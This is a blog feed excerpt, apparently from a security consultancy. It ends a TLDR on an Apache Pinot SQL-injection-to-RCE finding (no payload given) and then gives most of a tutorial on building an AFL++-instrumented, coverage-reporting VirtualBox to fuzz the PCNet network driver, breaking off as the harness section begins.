&lt;p&gt;Files can also be uploaded for ingestion into tables.&lt;/p&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TLDR&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Pinot is a modern database platform that can be attacked with old-school SQLi&lt;/li&gt;
  &lt;li&gt;SQL injection leads to Remote Code Execution by default in the latest release, at the time of writing&lt;/li&gt;
  &lt;li&gt;In the official container images, RCE means root on the Server component of the Pinot cluster&lt;/li&gt;
  &lt;li&gt;From here, other components can be affected to a certain degree&lt;/li&gt;
  &lt;li&gt;WTF is going on with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPTION()&lt;/code&gt;?&lt;/li&gt;
  &lt;li&gt;Pinot is under active development. Maturity will bring security improvements&lt;/li&gt;
  &lt;li&gt;In an upcoming release (&amp;gt;0.10.0) the SQLi to RCE footgun will be opt-in&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Introduction to VirtualBox security research</title>
   <link href="https://blog.doyensec.com/2022/04/26/vbox-fuzzing.html"/>
   <updated>2022-04-26T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/04/26/vbox-fuzzing</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;This article introduces VirtualBox research and explains how to build a coverage-based fuzzer, focusing on the emulated network device drivers. In the examples below, we explain how to create a harness for the non-default network device driver &lt;em&gt;PCNet&lt;/em&gt;. The example can be readily adjusted for a different network driver or even different device driver components.&lt;/p&gt;

&lt;p&gt;We are aware that there are excellent resources related to this topic - see [1], [2]. However, these cover the fuzzing process from a high-level perspective or omit some important technical details. Our goal is to present all the necessary steps and code required to instrument and debug the latest &lt;a href=&quot;https://download.virtualbox.org/virtualbox/LATEST-STABLE.TXT&quot;&gt;stable&lt;/a&gt; version of VirtualBox (6.1.30 at the time of writing). As the SVN version is out-of-sync, we download the &lt;a href=&quot;https://download.virtualbox.org/virtualbox&quot;&gt;tarball&lt;/a&gt; instead.&lt;/p&gt;

&lt;p&gt;In our setup, we use Ubuntu 20.04.3 LTS. As the VT-x/AMD-V feature is not fully supported for VirtualBox, we use a native host. When using a MacBook, the following &lt;a href=&quot;https://florisvanbreugel.wordpress.com/2018/03/23/installing-ubuntu-on-an-external-ssd-drive-on-a-macbook/&quot;&gt;guide&lt;/a&gt; enables a Linux installation to an external SSD.&lt;/p&gt;

&lt;p&gt;VirtualBox uses the &lt;a href=&quot;https://www.virtualbox.org/wiki/kBuild&quot;&gt;kBuild&lt;/a&gt; framework for building. As mentioned on their page, only a few (0.5) people on our planet understand it, but editing makefiles should be straightforward. As we will see later, after commenting out hardware-specific components, that’s indeed true.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;kmk&lt;/em&gt; is a kBuild alternative for the &lt;em&gt;make&lt;/em&gt; subsystem. It allows creating debug or release builds, depending on the supplied arguments. The debug build provides a robust logging mechanism, which we will describe next.&lt;/p&gt;

&lt;p&gt;Note that in this article, we will use three different builds. The remaining two release builds are for fuzzing and coverage reporting. Because they involve modifying the source code, we use a separate directory for every instance.&lt;/p&gt;

&lt;h2 id=&quot;debug-build&quot;&gt;Debug Build&lt;/h2&gt;

&lt;p&gt;The build instructions for Linux are described &lt;a href=&quot;https://www.virtualbox.org/wiki/Linux%20build%20instructions&quot;&gt;here&lt;/a&gt;. After installing all required dependencies, it’s enough to run the following commands:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./configure --disable-hardening --disable-docs
$ source ./env.sh &amp;amp;&amp;amp; kmk KBUILD_TYPE=debug
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If successful, the binary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualBox&lt;/code&gt; from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;out/linux.amd64/debug/bin/VirtualBox&lt;/code&gt; directory will be created. Before creating our first guest host, we have to compile and load the kernel modules:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ VERSION=6.1.30
$ vbox_dir=~/VirtualBox-$VERSION-debug/
$ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxdrv &amp;amp;&amp;amp; sudo make &amp;amp;&amp;amp; sudo insmod vboxdrv.ko)
$ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxnetflt &amp;amp;&amp;amp; sudo make &amp;amp;&amp;amp; sudo insmod vboxnetflt.ko)
$ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxnetadp &amp;amp;&amp;amp; sudo make &amp;amp;&amp;amp; sudo insmod vboxnetadp.ko)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;VirtualBox defines the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBOXLOGGROUP&lt;/code&gt; enum inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include/VBox/log.h&lt;/code&gt;, allowing to selectively enable the logging of specific files or functionalities. Unfortunately, since the logging is intended for the debug builds, we could not enable this functionality in the release build without making many cumbersome changes.&lt;/p&gt;

&lt;p&gt;Unlike the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualBox&lt;/code&gt; binary, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBoxHeadless&lt;/code&gt; startup utility located in the same directory allows running the machines directly from the command-line interface. For illustration, we want to enable debugging for both this component and the PCNet network driver. First, we have to identify the entries of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBOXLOGGROUP&lt;/code&gt;. They are defined using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LOG_GROUP_&lt;/code&gt; string near the beginning of the file we wish to trace:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ grep LOG_GROUP_ src/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp src/VBox/Devices/Network/DevPCNet.cpp

src/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp:#define LOG_GROUP LOG_GROUP_GUI
src/VBox/Devices/Network/DevPCNet.cpp:#define LOG_GROUP LOG_GROUP_DEV_PCNET
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We redirect the output to the terminal instead of creating log files and specify the &lt;em&gt;Log Group&lt;/em&gt; name, using the lowercased string from the grep output and without the prefix:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ export VBOX_LOG_DEST=&quot;nofile stdout&quot;
$ VBOX_LOG=&quot;+gui.e.l.f+dev_pcnet.e.l.f.l2&quot; out/linux.amd64/debug/bin/VBoxHeadless -startvm vm-test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The VirtualBox logging facility and the meaning of all parameters are clarified &lt;a href=&quot;https://www.virtualbox.org/wiki/VBoxLogging&quot;&gt;here&lt;/a&gt;. The output is easy to grep, and it’s crucial for understanding the internal structures.&lt;/p&gt;

&lt;h2 id=&quot;afl-instrumentation-for-afl-clang-fast--afl-clang-fast&quot;&gt;AFL instrumentation for afl-clang-fast / afl-clang-fast++&lt;/h2&gt;

&lt;h3 id=&quot;installing-clang&quot;&gt;Installing Clang&lt;/h3&gt;

&lt;p&gt;For Ubuntu, we can follow the official &lt;a href=&quot;https://apt.llvm.org/&quot;&gt;instructions&lt;/a&gt; to install the Clang compiler. We used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clang-12&lt;/code&gt;, because building was not possible with the previous version. Alternatively, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clang-13&lt;/code&gt; is supported too. After we are done, it is useful to verify the installation and create symlinks to ensure &lt;a href=&quot;https://github.com/AFLplusplus/AFLplusplus&quot;&gt;AFLplusplus&lt;/a&gt; will not complain about missing locations:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ rehash
$ clang --version
$ clang++ --version
$ llvm-config --version
$ llvm-ar --version

$ sudo ln -sf /usr/bin/llvm-config-12 /usr/bin/llvm-config
$ sudo ln -sf /usr/bin/clang++-12 /usr/bin/clang++
$ sudo ln -sf /usr/bin/clang-12 /usr/bin/clang
$ sudo ln -sf /usr/bin/llvm-ar-12 /usr/bin/llvm-ar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;building-aflplusplus-afl&quot;&gt;Building AFLplusplus (AFL++)&lt;/h3&gt;

&lt;p&gt;Our fuzzer of choice was AFL++, although everything can be trivially reproduced with &lt;a href=&quot;https://llvm.org/docs/LibFuzzer.html&quot;&gt;libFuzzer&lt;/a&gt; too. Since we don’t need the black box instrumentation, it’s enough to include the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source-only&lt;/code&gt; parts:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone https://github.com/AFLplusplus/AFLplusplus
$ cd AFLplusplus

# use this revision if the VirtualBox compilation fails
$ git checkout 66ca8618ea3ae1506c96a38ef41b5f04387ab560

$ make source-only
$ sudo make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;applying-patches&quot;&gt;Applying patches&lt;/h3&gt;

&lt;p&gt;To use clang for fuzzing, it’s necessary to create a new template &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kBuild/tools/AFL.kmk&lt;/code&gt; by using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vbox-fuzz/AFL.kmk&lt;/code&gt; file, available on &lt;a href=&quot;https://github.com/doyensec/vbox-fuzz&quot;&gt;https://github.com/doyensec/vbox-fuzz&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Moreover, we have to fix multiple issues related to undefined symbols or different commentary styles. The most important change is disabling the instrumentation for Ring-0 components (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TEMPLATE_VBoxR0_TOOL&lt;/code&gt;). Otherwise it’s not possible to boot the guest machine. All these changes are included in the patch files.&lt;/p&gt;

&lt;p&gt;Interestingly, when I was investigating the error message I obtained during the failed compilation, I found some recent &lt;a href=&quot;https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20Discovering%2010+%20Vulnerabilities%20in%20Virtualbox%20-%20Chen%20Nan.pdf&quot;&gt;slides&lt;/a&gt; from the HITB conference describing exactly the same issue. This was a confirmation that I was on the right track, and more people were trying the same approach. The slides also mention &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBoxHeadless,&lt;/code&gt; which was a natural choice for a harness, that we used too.&lt;/p&gt;

&lt;p&gt;If the unmodified VirtualBox is located inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/VirtualBox-6.1.30-release-afl&lt;/code&gt; directory, we run these commands to apply all necessary patches:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ TO_PATCH=6.1.30
$ SRC_PATCH=6.1.30
$ cd ~/VirtualBox-$TO_PATCH-release-afl

$ patch -p1 &amp;lt; ~/vbox-fuzz/$SRC_PATCH/Config.patch
$ patch -p1 &amp;lt; ~/vbox-fuzz/$SRC_PATCH/undefined_xfree86.patch
$ patch -p1 &amp;lt; ~/vbox-fuzz/$SRC_PATCH/DevVGA-SVGA3d-glLdr.patch
$ patch -p1 &amp;lt; ~/vbox-fuzz/$SRC_PATCH/VBoxDTraceLibCWrappers.patch
$ patch -p1 &amp;lt; ~/vbox-fuzz/$SRC_PATCH/os_Linux_x86_64.patch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmk&lt;/code&gt; without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KBUILD_TYPE&lt;/code&gt; yields instrumented binaries, where the device drivers are bundled inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBoxDD.so&lt;/code&gt; shared object. The output from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nm&lt;/code&gt; confirms the presence of the instrumentation symbols:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nm out/linux.amd64/release/bin/VBoxDD.so | egrep &quot;afl|sancov&quot;
                 U __afl_area_ptr
                 U __afl_coverage_discard
                 U __afl_coverage_off
                 U __afl_coverage_on
                 U __afl_coverage_skip
000000000033e124 d __afl_selective_coverage
0000000000028030 t sancov.module_ctor_trace_pc_guard
000000000033f5a0 d __start___sancov_guards
000000000036f158 d __stop___sancov_guards
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;creating-coverage-reports&quot;&gt;Creating Coverage Reports&lt;/h2&gt;

&lt;p&gt;First, we have to apply the patches for AFL, described in the previous section. After that, we copy the instrumented version and remove the earlier compiled binaries if they are present:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ VERSION=6.1.30
$ cp -r ~/VirtualBox-$VERSION-release-afl ~/VirtualBox-$VERSION-release-afl-gcov
$ cd ~/VirtualBox-$VERSION-release-afl-gcov
$ rm -rf out
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we have to edit the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kBuild/tools/AFL.kmk&lt;/code&gt; template to append &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-fprofile-instr-generate -fcoverage-mapping&lt;/code&gt; switches as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;TOOL_AFL_CC  ?= afl-clang-fast$(HOSTSUFF_EXE)   -m64 -fprofile-instr-generate -fcoverage-mapping
TOOL_AFL_CXX ?= afl-clang-fast++$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping
TOOL_AFL_AS  ?= afl-clang-fast$(HOSTSUFF_EXE)   -m64 -fprofile-instr-generate -fcoverage-mapping
TOOL_AFL_LD  ?= afl-clang-fast++$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To avoid duplication, we share the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include&lt;/code&gt; folders with the fuzzing build:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ rm -rf ./src
$ rm -rf ./include

$ ln -s ../VirtualBox-$VERSION-release-afl/src $PWD/src
$ ln -s ../VirtualBox-$VERSION-release-afl/include $PWD/include
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lastly, we expand the list of undefined symbols inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/VBox/Additions/x11/undefined_xfree86&lt;/code&gt; by adding:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ftell
uname
strerror
mkdir
__cxa_atexit
fclose
fileno
fdopen
strrchr
fseek
fopen
ftello
prctl
strtol
getpid
mmap
getpagesize
strdup
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Furthermore, because this build is intended for reporting only, we disable all unnecessary features:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./configure --disable-hardening --disable-docs --disable-java --disable-qt
$ source ./env.sh &amp;amp;&amp;amp; kmk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The raw profile is generated by setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LLVM_PROFILE_FILE&lt;/code&gt;. For more information, the &lt;a href=&quot;https://releases.llvm.org/12.0.0/tools/clang/docs/SourceBasedCodeCoverage.html&quot;&gt;Clang documentation&lt;/a&gt; provides the necessary details.&lt;/p&gt;

&lt;h2 id=&quot;writing-a-harness&quot;&gt;Writing a harness&lt;/h2&gt;

&lt;h3 id=&quot;getting-pvm&quot;&gt;Getting pVM&lt;/h3&gt;

&lt;p&gt;At this point, the VirtualBox drivers are fully instrumented, and the only remaining thing left before we start fuzzing is a harness. The PCNet device driver is defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/VBox/Devices/Network/DevPCNet.cpp&lt;/code&gt;, and it exports several functions. Our output is truncated to include only R3 components, as these are the ones we are targeting:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/**
 * The device registration structure.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PDMDEVREG&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g_DevicePCNet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .u32Version = */&lt;/span&gt;             &lt;span class=&quot;n&quot;&gt;PDM_DEVREG_VERSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .uReserved0 = */&lt;/span&gt;             &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .szName = */&lt;/span&gt;                 &lt;span class=&quot;s&quot;&gt;&quot;pcnet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef PCNET_GC_ENABLED
&lt;/span&gt;    &lt;span class=&quot;cm&quot;&gt;/* .fFlags = */&lt;/span&gt;                 &lt;span class=&quot;n&quot;&gt;PDM_DEVREG_FLAGS_DEFAULT_BITS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PDM_DEVREG_FLAGS_RZ&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PDM_DEVREG_FLAGS_NEW_STYLE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#else
&lt;/span&gt;    &lt;span class=&quot;cm&quot;&gt;/* .fFlags = */&lt;/span&gt;                 &lt;span class=&quot;n&quot;&gt;PDM_DEVREG_FLAGS_DEFAULT_BITS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;    &lt;span class=&quot;cm&quot;&gt;/* .fClass = */&lt;/span&gt;                 &lt;span class=&quot;n&quot;&gt;PDM_DEVREG_CLASS_NETWORK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .cMaxInstances = */&lt;/span&gt;          &lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0U&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .uSharedVersion = */&lt;/span&gt;         &lt;span class=&quot;mi&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .cbInstanceShared = */&lt;/span&gt;       &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PCNETSTATE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .cbInstanceCC = */&lt;/span&gt;           &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PCNETSTATECC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .cbInstanceRC = */&lt;/span&gt;           &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PCNETSTATERC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .cMaxPciDevices = */&lt;/span&gt;         &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .cMaxMsixVectors = */&lt;/span&gt;        &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pszDescription = */&lt;/span&gt;         &lt;span class=&quot;s&quot;&gt;&quot;AMD PCnet Ethernet controller.&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#if defined(IN_RING3)
&lt;/span&gt;    &lt;span class=&quot;cm&quot;&gt;/* .pszRCMod = */&lt;/span&gt;               &lt;span class=&quot;s&quot;&gt;&quot;VBoxDDRC.rc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pszR0Mod = */&lt;/span&gt;               &lt;span class=&quot;s&quot;&gt;&quot;VBoxDDR0.r0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnConstruct = */&lt;/span&gt;           &lt;span class=&quot;n&quot;&gt;pcnetR3Construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnDestruct = */&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;pcnetR3Destruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnRelocate = */&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;pcnetR3Relocate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnMemSetup = */&lt;/span&gt;            &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnPowerOn = */&lt;/span&gt;             &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReset = */&lt;/span&gt;               &lt;span class=&quot;n&quot;&gt;pcnetR3Reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnSuspend = */&lt;/span&gt;             &lt;span class=&quot;n&quot;&gt;pcnetR3Suspend&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnResume = */&lt;/span&gt;              &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnAttach = */&lt;/span&gt;              &lt;span class=&quot;n&quot;&gt;pcnetR3Attach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnDetach = */&lt;/span&gt;              &lt;span class=&quot;n&quot;&gt;pcnetR3Detach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnQueryInterface = */&lt;/span&gt;      &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnInitComplete = */&lt;/span&gt;        &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnPowerOff = */&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;pcnetR3PowerOff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnSoftReset = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved0 = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved1 = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved2 = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved3 = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved4 = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved5 = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved6 = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* .pfnReserved7 = */&lt;/span&gt;           &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#elif defined(IN_RING0)
&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// [ SNIP ]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The most interesting fields are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pfnReset,&lt;/code&gt; which resets the driver’s state, and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pfnReserved&lt;/code&gt; functions. The latter ones are currently not used, but we can add our own functions and call them, by modifying the PDM (Pluggable Device Manager) header files. PDM is an abstract interface used to add new virtual devices relatively easily.&lt;/p&gt;

